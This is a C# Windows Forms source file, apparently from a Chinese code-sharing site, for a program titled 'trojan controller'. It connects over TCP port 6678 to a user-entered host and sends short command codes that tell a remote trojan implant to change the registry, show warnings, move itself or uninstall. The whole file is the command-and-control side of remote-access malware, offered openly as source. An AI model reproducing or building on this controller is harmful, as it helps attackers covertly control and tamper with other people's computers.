📄 form1.cs
字号:
this.label1.TabIndex = 0;
this.label1.Text = "主机名称";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight;
//
// groupBox4
//
this.groupBox4.Controls.AddRange(new System.Windows.Forms.Control[] {
this.button11,
this.button10,
this.button9,
this.radioButton6,
this.radioButton5,
this.radioButton4,
this.radioButton3,
this.radioButton2,
this.radioButton1});
this.groupBox4.Location = new System.Drawing.Point(256, 304);
this.groupBox4.Name = "groupBox4";
this.groupBox4.Size = new System.Drawing.Size(248, 136);
this.groupBox4.TabIndex = 3;
this.groupBox4.TabStop = false;
this.groupBox4.Text = "控制生效";
//
// button11
//
this.button11.Location = new System.Drawing.Point(168, 104);
this.button11.Name = "button11";
this.button11.Size = new System.Drawing.Size(64, 24);
this.button11.TabIndex = 8;
this.button11.Text = "查看记录";
//
// button10
//
this.button10.Location = new System.Drawing.Point(88, 104);
this.button10.Name = "button10";
this.button10.Size = new System.Drawing.Size(64, 24);
this.button10.TabIndex = 7;
this.button10.Text = "保存记录";
//
// button9
//
this.button9.Location = new System.Drawing.Point(8, 104);
this.button9.Name = "button9";
this.button9.Size = new System.Drawing.Size(64, 24);
this.button9.TabIndex = 6;
this.button9.Text = "控制生效";
this.button9.Click += new System.EventHandler(this.button9_Click);
//
// radioButton6
//
this.radioButton6.Location = new System.Drawing.Point(144, 72);
this.radioButton6.Name = "radioButton6";
this.radioButton6.Size = new System.Drawing.Size(80, 16);
this.radioButton6.TabIndex = 5;
this.radioButton6.Text = "卸载木马";
//
// radioButton5
//
this.radioButton5.Location = new System.Drawing.Point(16, 72);
this.radioButton5.Name = "radioButton5";
this.radioButton5.Size = new System.Drawing.Size(80, 16);
this.radioButton5.TabIndex = 4;
this.radioButton5.Text = "修改木马位置";
//
// radioButton4
//
this.radioButton4.Location = new System.Drawing.Point(144, 48);
this.radioButton4.Name = "radioButton4";
this.radioButton4.Size = new System.Drawing.Size(80, 16);
this.radioButton4.TabIndex = 3;
this.radioButton4.Text = "建议";
//
// radioButton3
//
this.radioButton3.Location = new System.Drawing.Point(16, 48);
this.radioButton3.Name = "radioButton3";
this.radioButton3.Size = new System.Drawing.Size(80, 16);
this.radioButton3.TabIndex = 2;
this.radioButton3.Text = "警告";
//
// radioButton2
//
this.radioButton2.Location = new System.Drawing.Point(144, 24);
this.radioButton2.Name = "radioButton2";
this.radioButton2.Size = new System.Drawing.Size(80, 16);
this.radioButton2.TabIndex = 1;
this.radioButton2.Text = "善意设置";
//
// radioButton1
//
this.radioButton1.Location = new System.Drawing.Point(16, 24);
this.radioButton1.Name = "radioButton1";
this.radioButton1.Size = new System.Drawing.Size(88, 16);
this.radioButton1.TabIndex = 0;
this.radioButton1.Text = "修改注册表";
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(520, 453);
this.Controls.AddRange(new System.Windows.Forms.Control[] {
this.groupBox4,
this.groupBox3,
this.groupBox1,
this.groupBox2});
this.Name = "Form1";
this.Text = "木马控制端";
this.groupBox1.ResumeLayout(false);
this.groupBox2.ResumeLayout(false);
this.groupBox3.ResumeLayout(false);
this.groupBox4.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
private void button1_Click(object sender, System.EventArgs e)
{
form2 = new Form2();
form2.Show();
}
private void button2_Click(object sender, System.EventArgs e)
{
form3 = new Form3 ();
form3.Show();
}
private void button3_Click(object sender, System.EventArgs e)
{
jingga ="jg0000";
}
private void button4_Click(object sender, System.EventArgs e)
{
jianyi ="jy0000";
}
private void button5_Click(object sender, System.EventArgs e)
{
form4 = new Form4();
form4.Show();
}
private void button6_Click(object sender, System.EventArgs e)
{
xiezai ="xz0000";
}
private void button7_Click(object sender, System.EventArgs e)
{
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}
private void button8_Click(object sender, System.EventArgs e)
{
richTextBox1.AppendText("测试连接" +"\r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
string control = "jiance";
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
ssss = new Thread(new ThreadStart(receive));
ssss.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
//控制生效
private void button9_Click(object sender, System.EventArgs e)
{
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = jingga;}
else if(radioButton4.Checked){ control =jianyi;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =xiezai;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
ssss =new Thread(new ThreadStart(receive));
ssss.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}
//接受数据的过程
private void receive()
{
byte[] bb = new byte[3];
int i = stream.Read(bb,0,3);
string ss = System.Text.Encoding.ASCII.GetString(bb);
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+"\r");
MessageBox.Show(control +"控制成功"+"\r");
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -